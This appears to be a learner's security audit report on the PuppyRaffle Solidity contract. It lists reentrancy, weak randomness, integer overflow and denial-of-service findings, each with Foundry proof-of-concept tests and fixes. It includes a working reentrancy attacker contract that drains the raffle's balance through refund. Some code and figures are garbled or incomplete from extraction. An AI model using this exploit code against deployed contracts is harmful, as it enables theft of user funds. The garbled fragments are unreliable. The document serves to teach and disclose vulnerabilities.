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Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

- 1. Call the enterRaffle function with the following parameters:
 - 1. address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
- 2. Duplicate addresses are not allowed
- 3. Users are allowed to get a refund of their ticket & value if they call the refund function
- 4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
- 5. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

I made all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	Н	H/M	М
Likelihood	Medium	H/M	М	M/L
	Low	М	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

Scope

```
1 ./src/
2 #-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function. Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

This was awesome to do. found a bunch of severities

Issues found

Severity	Number of issues found	
High	3	
Medium	2	
Low	1	
Info	2	
Total	8	

Findings

Medium

[M-1] Looping through players array to check for duplicates in the puppyRaffle::enterRaffle is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The puppyRaffle::enterRaffle function loops through the playes array to check for duplicates. however, the longer the puppyRaffle::players array is, the more checks a new player will have to make. this means the gas costs for the players who enter right when the raffle starts will be drammatically lower than those who enter later. every additional address in the players array, is an additional check the loop will have to make.

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue. an attacker might make the puppyRaffle::entrants array so big, that no one else enters, guaranteing themselves the win.

Proof of Concept:

if we have 2 sets of 100 players, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas

this is more than 3x more expensive for the second 100 players.

PoC Place the following test into puppyRaffleTest.t.sol.

```
function test_denialOfService() public{
2
           vm.txGasPrice(1);
3
           uint playersNum = 100;
4
           address[] memory players = new address[](playersNum);
5
           for(uint256 i=0; i < playersNum; i++){</pre>
6
                players[i] = address(i);
7
           }
8
           uint256 gasStart = gasleft();
9
           puppyRaffle.enterRaffle{value: entranceFee * players.length}(
               players);
11
           uint256 gasEnd = gasleft();
12
           uint256 gasUsedFirst = (gasStart - gasEnd ) * tx.gasprice;
13
           console.log("gas cost of the first 100 players is",gasUsedFirst
14
               );
15
           // second set of 100 players
16
17
18
            address[] memory playersTwo = new address[](playersNum);
19
           for(uint256 i=0; i < playersNum; i++){</pre>
20
                playersTwo[i] = address(i + playersNum);
21
22
23
           uint256 gasStartSecond = gasleft();
24
           puppyRaffle.enterRaffle{value: entranceFee * players.length}(
               playersTwo);
           uint256 gasEndSecond = gasleft();
25
           uint256 gasUsedSecond = (gasStartSecond - gasEndSecond ) * tx.
27
               gasprice;
           console.log("gas cost of the second 100 players is",
28
               gasUsedSecond);
           assert(gasUsedFirst < gasUsedSecond);</pre>
31
       }
```

Recommended Mitigation: Recommendations; 1. consider allowing duplicates. Users can make multiple wallets anyways, so a duplicate check doesn't prevent the same person from entering multiple times. only the same walllet address. 2. Consider using a mapping to check for duplicates. this would allow constant time lookup of whether a user has already entered.

```
1 + mapping(address => uint256) public addressToRaffleId;
```

```
2 + uint256 public raffleId = 0;
4
5
6 function enterRaffle(address[] memory newPlayers) public payable {
           require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
8
           for (uint256 i = 0; i < newPlayers.length; i++) {</pre>
                players.push(newPlayers[i]);
9
                addressToRaffleId[newPlayers[i]] = raffleId;
11
           }
12
            // Check for duplicates
13 -
14 +
            // Check for duplicates only for new players
15 +
            for (uint256 i = 0; i < newPlayers.length; i++) {</pre>
16 +
                     require(addressToRaffleId[newPlayers[i]] != raffleId,
      "PuppyRaffle: Duplicate Player");
17 +
        for (uint256 i = 0; i < players.length - 1; i++) {</pre>
18 -
19 -
                 for (uint256 j = i + 1; j < players.length; j++) {</pre>
                     require(players[i] != players[j], "PuppyRaffle:
20 -
       Duplicate player");
21 -
                 }
22 -
            }
23
24
   emit RaffleEnter(newPlayers);
25
       }
26 .
27 .
28 .
29 function selectWinner() external{
30 + raffleId = raffleId + 1;
31
      require(block.timestamp >= raffleStartTime + raffleDuration, "
          puppyRaffle: Raffle not over");
32 }
```

```
1 Alternatively, use openZepplin's enumerableSet library
2 (https://docs.openzeppelin.com/contracts/3.x/api/utils#EnumerableSet).
```

High

[H-1] The design of the puppyRaffle: refund function creates a reentrancy vunerability exploitable by an attacker, which would lead to loss of funds from the protocol balance.

Description: The puppyRaffle::refund function allow the caller to perform this external contract interaction payable (msg.sender).sendValue(entranceFee); before updating the state of the caller players[playerIndex] = address(0); and emiting the state change emit

RaffleRefunded(playerAddress); therefore, exposing the protocol to a reentrancy exploit that would drain the puppyRaffle contract balance once exploited by an attacker.

```
1 // @audit Reentrancy Attack.
2
3
  function refund(uint256 playerIndex) public {
4
           address playerAddress = players[playerIndex];
5
           require(playerAddress == msg.sender, "PuppyRaffle: Only the
              player can refund");
           require(playerAddress != address(0), "PuppyRaffle: Player
6
              already refunded, or is not active");
7
8 @>
           payable(msg.sender).sendValue(entranceFee);
9
            players[playerIndex] = address(0);
10 @>
            emit RaffleRefunded(playerAddress);
11 @>
12
       }
```

a player who enters the raffle could have a fallback/recieve function that calls the PuppyRaffle::Refund function again and claim another refund. they could continue the cycle till the contract balance is drained.

Impact: This exploit will drain all the fees paid from puppyRaffle contract into the attackers wallet.

Proof of Concept: 1. User enters the raffle 2. an attack contract with a fallback function that calls PuppyRaffle::refund 3. Attacker enters raffle 4. Attacker calls PuppyRaffle::refunds from thier contract, draining the contract balance.

```
1 //attacker contract
2
3 contract ReentrancyAttacker{
   PuppyRaffle puppyRaffle;
    uint256 entranceFee;
5
   uint256 attackerIndex;
6
7
8 constructor(PuppyRaffle _PuppyRaffle){
9
       puppyRaffle = _PuppyRaffle;
       entranceFee = puppyRaffle.entranceFee();
10
11
12
     }
13
14
    function attack()external payable{
15
        address[] memory players = new address[](1);
16
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
17
18
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
19
```

```
21
22
     function _stealMoney() internal{
23
       if(address(puppyRaffle).balance >= entranceFee){
24
            puppyRaffle.refund(attackerIndex);
25
       }
     }
27
28
     fallback() external payable{
29
       _stealMoney();
30
31
32
     receive() external payable{
33
      _stealMoney();
34
35 }
```

PoC Place the following test into puppyRaffleTest.t.sol.

```
function testReentrancyAttack() public {
2
           address[] memory players = new address[](4);
3
           players[0] = player0ne;
4
           players[1] = playerTwo;
5
           players[2] = playerThree;
6
           players[3] = playerFour;
           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
7
8
9
10
           ReentrancyAttacker attackerContract = new ReentrancyAttacker(
11
               puppyRaffle
12
           );
13
           address attackUser = makeAddr("attackUser");
14
           vm.deal(attackUser, 1 ether);
15
           uint256 startingAttackContractBalance = address(
16
               attackerContract).balance;
17
           uint256 startingContractBalance = address(puppyRaffle).balance;
18
19
                 attack
20
           vm.prank(attackUser);
           attackerContract.attack{value: entranceFee}();
21
           console.log("starting attacker balance",
23
               startingAttackContractBalance);
           console.log("starting contract balance",
               startingContractBalance);
25
           console.log("ending attacker contract balance", address(
               attackerContract).balance);
           console.log("ending contract balance", address(puppyRaffle).
27
               balance);
28
       }
```

Recommended Mitigation: adopt the use of CEI (checks, effects, interactions) within functions design especially when it handles funds. the PuppyRaffle::refund function update the Players array before making the external call. additionally, we should move the event emmision up as well.

```
function refund(uint256 playerIndex) public {
2
           address playerAddress = players[playerIndex];
3
           require(playerAddress == msg.sender, "PuppyRaffle: Only the
              player can refund");
           require(playerAddress != address(0), "PuppyRaffle: Player
              already refunded, or is not active");
5
6 -
           payable(msg.sender).sendValue(entranceFee);
7
8
           players[playerIndex] = address(0);
9
           emit RaffleRefunded(playerAddress);
10
11 +
             payable(msg.sender).sendValue(entranceFee);
       }
```

information/non-crits

[I-1] Solidity pragma should be specific, not wide

Recommended Mitigation: Consider using a specific version of solidity in your contracts instead of a wide version. for example instead of pragma solidity ^0.8.0; use pragma solidity 0.8.0;

-found in src/puppyRaffle.sol: 32:23:35

[I-2] Using an outdated version of solidity is not recommended

Description: solc frequently releases new compiler versions. using an old version prevents access to new solidity security checks. we recomend avoiding complex pragma statements.

[G-1] Unchanged state variables should be declared constant or immutable.

Description: Reading from storage is much more expensive than from a immutable or constant variable.

Instances: - PuppyRaffle::raffleDuration should be immutable - PuppyRaffle
::commonImageUri should be constant - PuppyRaffle::rareImageUri should be
constant-puppyRaffle::legendaryImageUri should be constant

Low

[L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think thay have not entered the raffle

Description: if a player is in the PuppyRaffle::players array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
function getActivePlayerIndex(address player) external view returns (
       uint256) {
2
           for (uint256 i = 0; i < players.length; i++) {</pre>
               if (players[i] == player) {
3
4
                    return i;
5
               }
6
           }
7
           return 0;
8
       }
```

Impact: a player at index 0 to incorrectly think thay have not entered the raffle and may attempt to re-enter therefore wasting gas

Proof of Concept: 1. user enters the raffle, they are the first entrant 2. PuppyRaffle:: getActiveIndex returns 0 3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: Revert if the player is not in the array

High

[H-2] weak randomness in PuppyRaffle::selectWinner allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing msg.sender, block.timestamp, and block.difficulty together creates a predictible number. A predictible number is not a good random number. Malicious users can manipulate the values or know them ahead of time to choose the winner of the raffle themselves.

Note This additionally means users could front-run this function and call refund if they see they are not the winner.

Impact: any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. making the raffle worthless and leading to a gas war to win the target puppy.

Proof of Concept: 1. Validators can know ahead of time the block.timestamp and block. difficulty and use that to predict when/how to participate.block.difficulty was recently replaced with Prevrandao. 2. Users can mine /manipulate thier msg.sender value to result in thier

address being used to generate the winner. 3. users can revert their selectWinner transaction if they don't like the winner or resulting puppy.

using onchain values as a randomness seed is a well-documented attack vector.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as chainlink VRF.

[H-3] Integer overflow of PuppyRaffle::totalFess losses fees

Description: In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max
2 // 18446744073709551615
3 myVar = myVar + 1
4 // myVar will be 0
```

Impact: In PuppyRaffle::selectWinner, totalFees are accumulated for the feesAddress to collect later in PuppyRaffle::withdrawFees. however, if the totalFees Variable overflows, the feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. we then have 89 players enter a new raffle, and conclude the raffle 3. totalFees will be:

4. widrawal would be impossible due to this line of code in PuppyRaffle:::withdrawFees

PoC

```
uint256 playersNum = 89;
11
            address[] memory players = new address[](playersNum);
12
            for (uint256 i = 0; i < playersNum; i++) {</pre>
                players[i] = address(i);
13
14
            }
            puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
15
               players);
            // We end the raffle
16
17
            vm.warp(block.timestamp + duration + 1);
18
            vm.roll(block.number + 1);
19
20
            // And here is where the issue occurs
            // We will now have fewer fees even though we just finished a
21
               second raffle
22
            puppyRaffle.selectWinner();
23
24
            uint256 endingTotalFees = puppyRaffle.totalFees();
            console.log("ending total fees", endingTotalFees);
25
            assert(endingTotalFees < startingTotalFees);</pre>
26
27
            // We are also unable to withdraw any fees because of the
28
               require check
29
            vm.prank(puppyRaffle.feeAddress());
            vm.expectRevert("PuppyRaffle: There are currently players
               active!");
31
            puppyRaffle.withdrawFees();
32
       }
```

Recommended Mitigation: use a newer version of solidity, and uint256 instead of uint64

Medium ### [M-2] Smart contract wallets raffle winners without a recieve or a fallback function will block the start of a new contest

Description: The PuppyRaffle::selectWinner function is responsible for recieving the lottery. howevr, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

users could easily call the selectWinner function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: the puppyRaffle::selectWinner function could revert many times, making a lottery reset difficult.

also, true winners will not get paid out and someone else could take their money!

Proof of Concept:

- 1. 10 smart wallets enter the lottery without a fallback or recieve function.
- 2. 2the lottery ends.
- 3. the selectWinner function wouldn't work, even though the lottery is over!

Recommended Mitigation: 1. do not allow smart contract wallets to enter raffle.(not recommended) 2. create a mapping of addresses -> payouts so winners can pull their funds out themselves with a new claimPrize function, putting the owness on the winner to claim their prize. (Recommended) > Pull over Push